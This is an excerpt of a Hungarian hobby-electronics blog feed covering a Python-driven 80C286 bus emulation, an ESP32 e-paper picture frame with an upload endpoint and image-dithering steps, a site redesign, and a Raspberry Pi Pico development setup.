<p>Nem sokkal bonyolultabb, mint az eredeti NOP-os megoldásunk, de azért került bele egy extra pofon, amibe bele lehet futni. Milyen sorrendben tegyük a byte-okat az adat buszra? A <code>GPIOA</code> regiszter az adat busz legkisebb helyi értékű byte-ja, a <code>GPIOB</code> pedig a legnagyobb. Így például a kezdeti JMP utasításunk (<code>0xea00</code>) <code>0x00ea</code>-ként fog utazni (<a href="https://hu.wikipedia.org/wiki/B%C3%A1jtsorrend">little-endian</a>).</p>
<p>Érdemes kicsit visszagörgetni és megnézni, hogy már a <code>nasm</code> is csinált ilyen cseréket, például az összeadáshoz használt <code>0x1234</code> számunk a memóriában <code>0x3412</code>-ként van tárolva.</p>
<p>A 'Memory data write' nagyon egyszerű, csak a kamu memóriát kell használnunk:</p>
<pre><code class="hljs python">address = (a3 &lt;&lt; <span class="hljs-number">16</span>) + (a2 &lt;&lt; <span class="hljs-number">8</span>) + a1
print(<span class="hljs-string">'Memory data write 0x{:06X}'</span>.format(address))

<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> BHE <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> A0:
    print(<span class="hljs-string">'Word transfer 0x{:02X}{:02X}'</span>.format(d2, d1))
    MEMORY[address] = d1
    MEMORY[address + <span class="hljs-number">1</span>] = d2
<span class="hljs-keyword">elif</span> <span class="hljs-keyword">not</span> BHE <span class="hljs-keyword">and</span> A0:
    print(<span class="hljs-string">'Byte transfer on upper half of data bus 0x{:02X}'</span>.format(d2))
    MEMORY[address] = d2
<span class="hljs-keyword">elif</span> BHE <span class="hljs-keyword">and</span> <span class="hljs-keyword">not</span> A0:
    print(<span class="hljs-string">'Byte transfer on lower half of data bus 0x{:02X}'</span>.format(d1))
    MEMORY[address] = d1
</code></pre>
<p>Itt is megfigyelhető a little-endian sorrend, bár a futtatások során nem láttam olyat, hogy egyszerre két byte-ot próbált volna írni a memóriába.</p>
<p>A 'halt / shutdown' során pedig csak kiíratjuk a memóriából az összeadás eredményét és kilépünk:</p>
<pre><code class="hljs python">print(<span class="hljs-string">'Result: 0x{:04X}'</span>.format((MEMORY[<span class="hljs-number">0x000514</span>] &lt;&lt; <span class="hljs-number">8</span>) + MEMORY[<span class="hljs-number">0x000513</span>]))
sys.exit(<span class="hljs-number">0</span>)
</code></pre>
<h3>A végeredmény</h3>
<p>A futtatásnak végül egy ilyesmi kimenetet kell kiadnia, ahol látszik, ahogy beolvassuk a kezdeti JMP utasítást, elugrunk az új címre, továbbolvassuk onnan az instrukciókat, beolvassuk a memóriából a két összeadandó számot majd visszaírjuk a memóriába az eredményt:</p>
<pre class="console"><code>RESET
A7-0:   0b11111111
A15-8:  0b11111111
A23-16: 0b11111111
PEACK, S0, S1, BHE, LOCK, M/IO, COD/INTA, HLDA: 0b11111000
START
#40
Memory instruction read 0xFFFFF0
Word transfer 0x00EA
#43
Memory instruction read 0xFFFFF2
Word transfer 0x0005
#46
Memory instruction read 0xFFFFF4
Word transfer 0x0000
#49
Memory instruction read 0xFFFFF6
Word transfer 0x0000
#52
Memory instruction read 0xFFFFF8
Word transfer 0x0000
#67
Memory instruction read 0x000500
Word transfer 0xC031
#70
Memory instruction read 0x000502
Word transfer 0xD88E
#73
Memory instruction read 0x000504
Word transfer 0x0FA1
#76
Memory instruction read 0x000506
Word transfer 0x0305
#79
Memory instruction read 0x000508
Word transfer 0x1106
#82
Memory instruction read 0x00050A
Word transfer 0xA305
#85
Memory instruction read 0x00050C
Word transfer 0x0513
#88
Memory data read 0x00050F
Byte transfer on upper half of data bus 0x34
#91
Memory data read 0x000510
Byte transfer on lower half of data bus 0x12
#94
Memory instruction read 0x00050E
Word transfer 0x34F4
#99
Memory data read 0x000511
Byte transfer on upper half of data bus 0x0A
#102
Memory data read 0x000512
Byte transfer on lower half of data bus 0x00
#115
Memory data write 0x000513
Byte transfer on upper half of data bus 0x0A
#116
Memory data write 0x000513
Byte transfer on upper half of data bus 0x3E
#119
Memory data write 0x000514
Byte transfer on lower half of data bus 0x12
#120
Memory data write 0x000514
Byte transfer on lower half of data bus 0x12
#123
halt
Result: 0x123E
</code></pre>
<p>Hatalmas öröm volt először látni a helyes végeredményt a futás végén. Azt hiszem ezzel el is jutottam egy olyan mérföldkőhöz, aminél érdemes megállni és megpihenni.</p>
<p>Természetesen csak a felszínt kapargattuk meg, rengeteg minden tanulnivaló maradt még. Érdemes belelapozgatni egy kicsit <a href="https://deadlime.hu/uploads/2026/80C286_datasheet.pdf">a processzor adatlapjába</a>, esetleg elgondolkodni azon, hogy hogyan valósulnak meg a különböző perifériák, mint a billentyűzet vagy egy szöveges kijelző.</p>
<p>Ami viszont biztos, hogy a processzor számára egyáltalán nem virtuális ez a valóság. Mindegy neki, hogy honnan kapja az elektromos jelhalmazt, amíg az kompatibilis a saját belső valóságával.</p>

]]></content:encoded>
        </item>
            <item>
            <title>Keretes szerkezet</title>
            <link>https://deadlime.hu/2025/04/12/keretes-szerkezet/</link>
            <pubDate>Sat, 12 Apr 2025 11:01:41 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[e-papír]]></category>
                    <category><![CDATA[ESP32]]></category>
                    <category><![CDATA[hardver]]></category>
                    
            <guid isPermaLink="false">cc2e965c8741cf11149dbebd6318bbb5</guid>
            <description>E-papír alapú digitális képkeret</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2025/eink_frame.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Kaptam ajándékba egy e-papír kijelzőt és egy képkeretet, úgyhogy építünk egy otthoni klasztert használt mobiltelefonokból. Ja, nem. Egy digitális képkeretet építünk. Akit a klaszter jobban érdekelt volna, <s>az így járt</s> annak <a href="https://hackaday.com/2025/04/09/self-hosting-a-cluster-on-old-phones/">itt ez a cikk</a>.</p>
<p>A dolog (e-)papíron egyszerű. Egy ESP32 van rákötve a kijelzőre, ami fent lóg a hálózaton és várja az új képeket, hogy befrissíthesse a kijelzőt. De valahogy elő is kell állítanunk a megfelelő képeket, mert a kijelző csak a fekete és a fehér színeket ismeri.</p>
<h3>Összeszerelés</h3>
<p>A <a href="https://www.arcanum.com/hu/online-kiadvanyok/Lexikonok-magyar-etimologiai-szotar-F14D3/p-F3534/paszpartu-F3628/">paszpartu</a> (új szó, amit a projekt során tanultam, előtte &quot;az az izé, ami a kép körül van a kereten belül&quot; néven ismertem), amit a kerethez adtak, nem egészen stimmelt méretben az e-papír kijelzőhöz. Kereshettem volna hozzá egy megfelelő vastagságú kartonpapírt, de inkább megnyitottam a FreeCAD-et, terveztem egy újat és kinyomtattam.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2025/passe-partout_cad.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>A kijelző tökéletesen illeszkedik bele (2-3 próbanyomtatás után) és a szalagkábelnek is van egy kis hely.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2025/eink_frame_inside.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">Szemfüles olvasók talán azt is meg tudják mondani, hogy melyik xkcd van épp a kijelzőn</p>

<p>A keret hátlapján vágnom kellett egy kis lyukat, ahol a kábelt ki lehet vezetni, hogy rá lehessen kötni az ESP32-re.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2025/eink_frame_back.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>A szalagkábellel óvatosan kell bánni, elég törékeny. Ne kérdezd, hogy honnan tudom. És biztos nem azért kell ilyen rövid kábellel vacakolnom, mert a hosszabbító egyik csatlakozóját valahogy sikerült elrontanom.</p>
<p>Végül az ESP32-t rögzítettem egy minden esztétikát nélkülöző megoldással.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2025/eink_frame_back2.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Az egészet megpróbáltam meghajtani egy <a href="https://www.ikea.com/hu/hu/p/varmfront-hordozhato-toelto-soetetkek-10555645/">IKEA-s powerbank</a>-ről, de mint kiderült ezek a szerkezetek lekapcsolják saját magukat, ha nincsen rájuk dugva valami fogyasztó. Az e-papír kijelző pedig úgy tűnik nem fogyaszt eleget, hogy azt érzékelje.</p>
<h3>Szoftver</h3>
<p>Először is próbáljunk meg megjeleníteni valamit, hogy lássuk, hogy minden jól működik. Az ESP32-t a <a href="https://www.waveshare.com/wiki/7.5inch_e-Paper_HAT_Manual#Overview">gyártó dokumentációja</a> alapján az Arduino IDE-vel lőttem össze, majd szintén a dokumentáció alapján megjelenítettem egy képet.</p>
<pre><code class="hljs arduino"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;DEV_Config.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;EPD.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;GUI_Paint.h&gt;</span></span>

UBYTE *<span class="hljs-built_in">image</span>;
UWORD imageSize = ((EPD_7IN5_V2_WIDTH % <span class="hljs-number">8</span> == <span class="hljs-number">0</span>) ? (EPD_7IN5_V2_WIDTH / <span class="hljs-number">8</span>) : (EPD_7IN5_V2_WIDTH / <span class="hljs-number">8</span> + <span class="hljs-number">1</span>)) * EPD_7IN5_V2_HEIGHT;
<span class="hljs-keyword">uint8_t</span> *imageData = <span class="hljs-literal">nullptr</span>;

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">setup</span><span class="hljs-params">()</span> </span>{
  DEV_Module_Init();
  EPD_7IN5_V2_Init();
  EPD_7IN5_V2_Clear();
  DEV_Delay_ms(<span class="hljs-number">500</span>);

  <span class="hljs-keyword">if</span> ((<span class="hljs-built_in">image</span> = (UBYTE *)<span class="hljs-built_in">malloc</span>(imageSize)) == <span class="hljs-literal">NULL</span>) {
    <span class="hljs-built_in">Serial</span>.<span class="hljs-built_in">println</span>(<span class="hljs-string">"Failed to apply for image memory"</span>);
    <span class="hljs-keyword">while</span> (<span class="hljs-number">1</span>);
  }
  Paint_NewImage(<span class="hljs-built_in">image</span>, EPD_7IN5_V2_WIDTH, EPD_7IN5_V2_HEIGHT, <span class="hljs-number">0</span>, WHITE);

  Paint_SelectImage(<span class="hljs-built_in">image</span>);
  Paint_Clear(WHITE);
  Paint_DrawBitMap(imageData);
  EPD_7IN5_V2_Display(<span class="hljs-built_in">image</span>);
  DEV_Delay_ms(<span class="hljs-number">2000</span>);
}
</code></pre>
<p>Az <code>imageData</code>-nak jönnie kell valahonnan. Beégethetünk a kódba egy (vagy több) byte tömböt, de az nem túl rugalmas. Így ideje elgondolkodni azon, hogy hogyan is szeretnénk frissíteni a képet a kijelzőn.</p>
<p>Mivel van wifi, két irányba is elindulhatunk, vagy szerver leszünk vagy kliens. Én az előbbit választottam, kerestem egy <a href="https://github.com/ESP32Async/ESPAsyncWebServer">webszerver library</a>-t, ami működik a hardveren és csináltam egy <code>/upload</code> endpoint-ot.</p>
<pre><code class="hljs arduino"><span class="hljs-comment">// ...</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;AsyncTCP.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;ESPAsyncWebServer.h&gt;</span></span>

<span class="hljs-comment">// ...</span>
<span class="hljs-function"><span class="hljs-keyword">static</span> AsyncWebServer <span class="hljs-title">server</span><span class="hljs-params">(<span class="hljs-number">80</span>)</span></span>;
<span class="hljs-keyword">bool</span> imageChanged = <span class="hljs-literal">false</span>;

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">on_request</span><span class="hljs-params">(AsyncWebServerRequest *request)</span> </span>{
  <span class="hljs-keyword">if</span> (request-&gt;getResponse()) {
    <span class="hljs-keyword">return</span>;
  }
  <span class="hljs-keyword">if</span> (!request-&gt;_tempObject) {
    <span class="hljs-keyword">return</span> request-&gt;send(<span class="hljs-number">400</span>, <span class="hljs-string">"text/plain"</span>, <span class="hljs-string">"Nothing uploaded"</span>);
  }

  imageData = <span class="hljs-keyword">reinterpret_cast</span>&lt;<span class="hljs-keyword">uint8_t</span> *&gt;(request-&gt;_tempObject);
  imageChanged = <span class="hljs-literal">true</span>;

  request-&gt;_tempObject = <span class="hljs-literal">nullptr</span>;

  request-&gt;send(<span class="hljs-number">200</span>, <span class="hljs-string">"text/plain"</span>, <span class="hljs-string">"OK"</span>);
}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">on_upload</span><span class="hljs-params">(AsyncWebServerRequest *request, <span class="hljs-keyword">String</span> filename, <span class="hljs-keyword">size_t</span> index, <span class="hljs-keyword">uint8_t</span> *data, <span class="hljs-keyword">size_t</span> len, <span class="hljs-keyword">bool</span> <span class="hljs-keyword">final</span>)</span> </span>{
  <span class="hljs-built_in">Serial</span>.<span class="hljs-built_in">printf</span>(<span class="hljs-string">"Upload[%s]: start=%u, len=%u, final=%d\n"</span>, filename.c_str(), index, len, <span class="hljs-keyword">final</span>);

  <span class="hljs-keyword">if</span> (!index) {
    <span class="hljs-keyword">size_t</span> <span class="hljs-built_in">size</span> = request-&gt;header(<span class="hljs-string">"Content-Length"</span>).toInt();
    <span class="hljs-keyword">if</span> (!<span class="hljs-built_in">size</span>) {
      request-&gt;send(<span class="hljs-number">400</span>, <span class="hljs-string">"text/plain"</span>, <span class="hljs-string">"No Content-Length"</span>);
    } <span class="hljs-keyword">else</span> {
      <span class="hljs-built_in">Serial</span>.<span class="hljs-built_in">printf</span>(<span class="hljs-string">"Allocating buffer of %u bytes\n"</span>, <span class="hljs-built_in">size</span>);
      <span class="hljs-keyword">uint8_t</span> *<span class="hljs-built_in">buffer</span> = <span class="hljs-keyword">new</span> (<span class="hljs-built_in">std</span>::nothrow) <span class="hljs-keyword">uint8_t</span>[<span class="hljs-built_in">size</span>];
      <span class="hljs-keyword">if</span> (!<span class="hljs-built_in">buffer</span>) {
        request-&gt;<span class="hljs-built_in">abort</span>();
      } <span class="hljs-keyword">else</span> {
        request-&gt;_tempObject = <span class="hljs-built_in">buffer</span>;
      }
    }
  }

  <span class="hljs-keyword">if</span> (len) {
    <span class="hljs-built_in">memcpy</span>(<span class="hljs-keyword">reinterpret_cast</span>&lt;<span class="hljs-keyword">uint8_t</span> *&gt;(request-&gt;_tempObject) + index, data, len);
  }
}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">update_image</span><span class="hljs-params">()</span> </span>{
  Paint_SelectImage(<span class="hljs-built_in">image</span>);
  Paint_Clear(WHITE);
  Paint_DrawBitMap(imageData);
  EPD_7IN5_V2_Display(<span class="hljs-built_in">image</span>);
  DEV_Delay_ms(<span class="hljs-number">2000</span>);

  <span class="hljs-keyword">delete</span> imageData;
  imageData = <span class="hljs-literal">nullptr</span>;
  imageChanged = <span class="hljs-literal">false</span>;
}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">setup</span><span class="hljs-params">()</span> </span>{
  <span class="hljs-comment">// ...</span>

  server.on(<span class="hljs-string">"/upload"</span>, HTTP_POST, on_request, on_upload);
  server.<span class="hljs-built_in">begin</span>();
}

<span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">loop</span><span class="hljs-params">()</span> </span>{
  <span class="hljs-keyword">if</span> (imageChanged) {
    update_image();
  }
  <span class="hljs-built_in">delay</span>(<span class="hljs-number">1000</span>);
}
</code></pre>
<p>Ezek után egy egyszerű <code>curl</code> paranccsal frissíthetjük a képet:</p>
<pre class="console"><code>$ curl -v -F &quot;data=@something.wbm&quot; &quot;http://192.168.255.50/upload&quot;
</code></pre>
<p>Már ha rendelkezünk a megfelelő formátumú képpel ugyebár. Ez a kijelző csak a feketét és a fehéret ismeri, még szürkeárnyalataink sincsenek, úgyhogy szükségünk lesz egy kis trükközésre.</p>
<h3>Kép generálás</h3>
<p>Először is fogjuk a 800x480 pixel méretű képünket (mert ez a kijelző felbontása), amit meg akarunk jeleníteni. Megnyitjuk <a href="https://krita.org/">Krita</a>-ban, a <code>Settings &gt; Dockers &gt; Palette</code> menüponttal előhozzuk a palettákat. A bal alsó sarokban lévő ikonra kattintva megnyitjuk a paletta választót, ott a <code>+</code> jellel hozzáadunk egy újat, amit mondjuk elnevezünk &quot;1bit&quot;-nek és beállítjuk rajta a fekete és a fehér színt.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2025/krita_new_palette.png" width="660" height="990" alt="" title="" loading="lazy" />
</p>

<p>Ezek után a palettás ablakok bezárhatóak, nem lesz már rá szükség. A <code>Filter &gt; Map &gt; Palettize...</code> menüpontra megyünk át, itt kiválasztjuk a Palette résznél az &quot;1bit&quot;-et, bekattintjuk a pipát a Dither előtt és választunk a Pattern alatt lévő minták közül egy olyat, amivel elfogadhatóan néz ki a képünk.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2025/krita_palettize.png" width="557" height="539" alt="" title="" loading="lazy" />
</p>

<p>Érdemes még a Color Mode és az Offset Scale beállításokkal játszani.</p>
<p>Mint <a href="https://deadlime.hu/2023/12/28/nincs-meg-itt-az-ido/">már korábban is</a>, a WBMP most is egy remek formátum lenne nekünk, de a Krita nem ismeri, úgyhogy jobb híján mentsük el a képet PNG-ként. Aztán az ImageMagick <code>convert</code> parancsával csinálhatunk belőle WBMP-t:</p>
<pre class="console"><code>$ convert image.png image.wbmp
</code></pre>
<p>Az így elkészült fájl elején lesz pontosan 6 bájtnyi felesleges WBMP header, amire nekünk semmi szükségünk, úgyhogy szabaduljunk is meg tőle.</p>
<pre class="console"><code>$ tail -c +7 image.wbmp &gt;image_no_header.wbmp
</code></pre>
<p>Ezt pedig már rögtön fel is tölthetjük a korábban ismertetett módon:</p>
<pre class="console"><code>$ curl -v -F &quot;data=@image_no_header.wbmp&quot; &quot;http://192.168.255.50/upload&quot;
</code></pre>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2025/eink_frame_pika.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Végül egy közeli az e-papír pixelekről:</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2025/eink_frame_pika_close.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>A projekt tetszőlegesen bonyolítható tovább, például egy programmal, ami bármilyen képet átalakít a megfelelő formátumra és feltölti a képkeretre. Vannak már komolyabb e-papír kijelzők szürkeárnyalatokkal, sőt színekkel is, de mi a bejegyzésre szánt keret végére értünk.</p>

]]></content:encoded>
        </item>
            <item>
            <title>deadlime: terminal velocity</title>
            <link>https://deadlime.hu/2025/04/07/deadlime-terminal-velocity/</link>
            <pubDate>Mon, 07 Apr 2025 11:02:56 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[siteinfo]]></category>
                    <category><![CDATA[CSS]]></category>
                    <category><![CDATA[HTML]]></category>
                    <category><![CDATA[PHP]]></category>
                    
            <guid isPermaLink="false">e3d6a02ee907fd4ba0b3ff459960eef7</guid>
            <description>Húsz éves volt a blog tavaly, de csak most jutottam el idáig</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2025/terminal_velocity.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Nyolc év. Nagyjából nyolc éve nem változott nagyobb mértékben az oldal kinézete. Voltak itt-ott kisebb átalakítások, de semmi komoly. 2024-re terveztem egy nagyobb ráncfelvarrást az oldal 20 éves évfordulójának alkalmából, de nem jött az ihlet. Készült egy fejléc kép még 2024 januárjában, de nem voltam vele elégedett. Aztán szépen gyorsan eltelt egy év és itt is vagyunk.</p>
<h3>A háttérkép</h3>
<p>Amikor a háttérnek nekikezdtem, akkor még nem tudtam, hogy a többi rész is el fog készülni, csak gondoltam vicces lenne random, programozásban használatos karaktereket odadobálni. Esetleg megszínezni őket úgy, mintha kódkiemelés lenne. Ez utóbbit végül elvetettem, hogy ne vonja el annyira a figyelmet a tartalomról. Helyette először random szürke árnyalatokat próbáltam ki, de túl random volt, úgyhogy a végül a <a href="https://en.wikipedia.org/wiki/Perlin_noise">Perlin-zaj</a> lett az alapja a karakterek színének.</p>
<p>Egy eldobható kis PHP scripttel generáltam ki a megfelelő HTML-t, amit aztán lementettem képként, abból lett a háttérkép. A sötét téma változata pedig csak invertálva lett.</p>
<pre><code class="hljs xml"><span class="hljs-meta">&lt;!DOCTYPE <span class="hljs-meta-keyword">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">style</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text/css"</span>&gt;</span><span class="css">
<span class="hljs-selector-tag">html</span>, <span class="hljs-selector-tag">body</span> {
  <span class="hljs-attribute">font</span>: <span class="hljs-number">24px</span> <span class="hljs-string">'DejaVu Sans Mono'</span>;
  <span class="hljs-attribute">margin</span>: <span class="hljs-number">0</span>;
  <span class="hljs-attribute">padding</span>: <span class="hljs-number">0</span>;
}
<span class="hljs-selector-class">.bg</span> {
  <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#e6e6e6</span>;
  <span class="hljs-attribute">color</span>: <span class="hljs-number">#000</span>;
  <span class="hljs-attribute">width</span>: <span class="hljs-number">1920px</span>;
}
<span class="hljs-selector-class">.char</span> {
  <span class="hljs-attribute">display</span>: inline-block;
  <span class="hljs-attribute">height</span>: <span class="hljs-number">60px</span>;
  <span class="hljs-attribute">line-height</span>: <span class="hljs-number">60px</span>;
  <span class="hljs-attribute">text-align</span>: center;
  <span class="hljs-attribute">width</span>: <span class="hljs-number">60px</span>;
}
  </span><span class="hljs-tag">&lt;/<span class="hljs-name">style</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"bg"</span>&gt;</span>
<span class="hljs-comment">&lt;!-- PHP script helye --&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
<p>Az oldal kódszínezése nem kezeli jól a HTML-ben lévő PHP kódot, úgyhogy inkább különszedtem őket.</p>
<pre><code class="hljs php"><span class="hljs-meta">&lt;?php</span>
$chars = <span class="hljs-string">'\'"+!%/=(),.-?:_$\|&lt;&gt;#&amp;@{}[]'</span>;

<span class="hljs-keyword">for</span> ($y = <span class="hljs-number">0</span>; $y &lt; <span class="hljs-number">32</span>; ++$y) {
  <span class="hljs-keyword">for</span> ($x = <span class="hljs-number">0</span>; $x &lt; <span class="hljs-number">32</span>; ++$x) {
    $p = round(<span class="hljs-number">20</span> + perlin($x*<span class="hljs-number">0.25</span>, $y*<span class="hljs-number">0.25</span>) * <span class="hljs-number">80</span>, <span class="hljs-number">2</span>);
    <span class="hljs-keyword">print</span>(<span class="hljs-string">'&lt;div class="char" style="filter: opacity('</span> . $p . <span class="hljs-string">'%);"&gt;'</span>);
    <span class="hljs-keyword">print</span>(htmlspecialchars($chars[mt_rand(<span class="hljs-number">0</span>, strlen($chars) - <span class="hljs-number">1</span>)]));
    <span class="hljs-keyword">print</span>(<span class="hljs-string">'&lt;/div&gt;'</span>);
  }
}
<span class="hljs-meta">?&gt;</span>
</code></pre>
<p>A <code>perlin()</code> függvény PHP-s implementációját az AI-ra bíztam, nagyjából jól működött, de néha negatív értékeket adott vissza, annak ellenére, hogy 0 és 1 között kellett volna lennie a válasznak.</p>
<h3>A fejléc kép</h3>
<p>Az új alcím már egész régóta megvolt, tetszett a kis szójáték a végsebesség és a terminál sebessége között. Ez nagyjából meghatározta, hogy milyen irányba szeretnék elindulni az új fejléc képpel. Valami terminálra emlékeztető, valami sebességgel kapcsolatos, és természetesen legyen rajta lime.</p>
<p>Az alapját, a buborékos-lime szeletes képet az AI szolgáltatta. Általában ingyenes stock fotókat szoktam vadászni, de nem jött most olyan szembe, ami megihletett volna.</p>
<p>Kerültek rá <a href="https://en.wikipedia.org/wiki/Scan_line">CRT scanline</a>-ok, ami talán ad egy kis terminálos érzetet. Az alcím is egy root terminál prompt, a végén kurzorral (<code># terminal velocity_</code>). A vízszintes <a href="https://en.wikipedia.org/wiki/Glitch_art">glitch</a>-vonalak pedig a vizuális érdkesség mellett talán sikeresen keltik a mozgás, a sebesség érzetét. De nem mennék műelemzési mélységekbe. :)</p>
<p>Az elkészítéshez a <a href="https://krita.org/">Krita</a> nevű programot használtam. Berozsdásodott Photoshop ismereteimmel is egész otthonosan mozogtam benne, nem volt olyan életidegen, mint amilyennek a <a href="https://www.gimp.org/">GIMP</a>-et szoktam érezni.</p>
<h3>És a többi</h3>
<p>A többi pedig nem változott. Nagyjából elégedett vagyok a szövegek elrendezésével, a betűméretekkel, a színekkel. Két verzió közti apróbb módosítások általában ezen a téren történnek. Egy kis padding javítás itt, egy kis betűméret igazítás ott, vagy épp a dark mode lefejlesztése.</p>
<p>A blog motor se változott különösebben, még mindig a saját házibarkács statikus site generátorom generálja a HTML-t az oldalhoz. Talán csak a kódszínezés lett lecserélve kliens oldaliról szerver oldalira, hogy ne kelljen JavaScript az oldal működéséhez.</p>
<p>Szóval nagyjából ennyi. További kellemes olvasást az elkövetkező 20 évre is.</p>

]]></content:encoded>
        </item>
            <item>
            <title>Az idő utazása</title>
            <link>https://deadlime.hu/2024/08/30/az-ido-utazasa/</link>
            <pubDate>Fri, 30 Aug 2024 18:04:18 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[Raspberry Pi]]></category>
                    <category><![CDATA[hardver]]></category>
                    
            <guid isPermaLink="false">6a86543adc3a3bbad095b10bf59c1bd0</guid>
            <description>Tovább bonyolódik az óra fejlesztés, megérkeztek az időzónák</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2024/pico_clock.jpg" width="660" height="450" alt="" title="" loading="lazy" />
</p>

<p>Úgy érzem magam, mint a Die Hard filmek magyar címeinek kitalálói érezhették magukat a negyedik rész környékén, amikor már nem nagyon tudtak több élet-szerű címmel előállni. Én is kezdek kifogyni az idővel kapcsolatos címekből, pedig ismét haladt előre egy kicsit a projekt.</p>
<p>Az előző részekben a CLion nem igazán szerette volna azt csinálni, amit mi szeretnénk és a PyCharm se volt a végletekig együttműködő (<a href="https://deadlime.hu/2023/12/28/nincs-meg-itt-az-ido/">(Nincs még) Itt az idő</a>), de legalább sikerült egy aranyos kis doboz-kezdeményt nyomtatni az óra köré (<a href="https://deadlime.hu/2024/07/28/dobozba-zart-ido/">Dobozba zárt idő</a>), amit most nem használunk.</p>
<p>Ma azzal folytatjuk, hogy visszalépünk egy kicsit és megpróbáljuk még egyszer megszelídíteni a CLion-t, azután pedig megtapasztalhatjuk azt is, hogy milyen borzalmakat rejtenek magukban az időzónák.</p>
<h3>Fejlesztői környezet és a Pi</h3>
<p>A hobbi projektek elsődleges célja (legalábbis nálam), hogy lehetőség szerint remekül szórakozzak (kinek mit jelent a szórakozás, ugye, de ezt majd később meglátjuk). Mivel foglalkozok eleget Python-nal a hétköznapok során, ezért szívesebben néztem volna más jellegű kihívások elé. Meg hát makacs is vagyok.</p>
<p>Az eredeti ötlet az volt, hogy fogok egy rendes Raspberry Pi-t, a Picoprobe (Debugprobe) helyett rákötöm a Pico-t a Raspberry Pi GPIO-jára, rádugok egy monitort/billentyűzetet/egeret és azon kezdek el fejleszteni. Az ötlet egy árnyalatnyit módosult, amikor nem találtam itthon megfelelő HDMI átalakítót a Rasberry Pi-hoz. Az új terv az lett, hogy megpróbálom meggyőzni a Windows gépen futó CLiont, hogy használja SSH-n keresztül a Raspberry Pi-t build környezetként.</p>
<p>Elméletileg a Pi a legalkalmasabb környezet a Pico fejlesztéshez. Néhány egyszerű parancs után mindennek működnie kell:</p>
<pre><code class="hljs shell"><span class="hljs-meta">$</span><span class="bash"> wget https://raw.githubusercontent.com/raspberrypi/pico-setup/master/pico_setup.sh</span>
<span class="hljs-meta">$</span><span class="bash"> chmod +x pico_setup.sh</span>
<span class="hljs-meta">$</span><span class="bash"> ./pico_setup.sh</span>
</code></pre>
<p>Már csak egy kis várakozás és kész is... kivéve, ha véletlenül egy Raspberry Pi 5 egyre kevésbé boldog tulajdonosai vagyunk, mert arra a bejegyzés írásakor még nem volt felkészítve ez a script. Szerencsére megtaláltam <a href="https://github.com/raspberrypi/pico-setup/pull/28/files">ezt a pull request-et</a>, ami a megoldás feléig eljuttatott, de szükségem volt még egy új OpenOCD interface konfigra is, amit már nem emlékszem honnan ollóztam össze:</p>
<pre class="file"><code>/usr/local/share/openocd/scripts/interface/raspberrypi5.cfg
</code></pre>
<pre><code>adapter driver linuxgpiod

adapter gpio swclk 24 -chip 4
adapter gpio swdio 23 -chip 4
</code></pre>
<p>Így már sikerült megfuttatni <a href="https://github.com/pimoroni/pimoroni-pico/tree/main/examples/gfx_pack">az egyik példaprogramot</a>.</p>
<pre><code class="hljs shell"><span class="hljs-meta">$</span><span class="bash"> openocd -f interface/raspberrypi5.cfg -f target/rp2040.cfg -c <span class="hljs-string">"program gfx_pack_demo.elf verify reset exit"</span></span>
</code></pre>
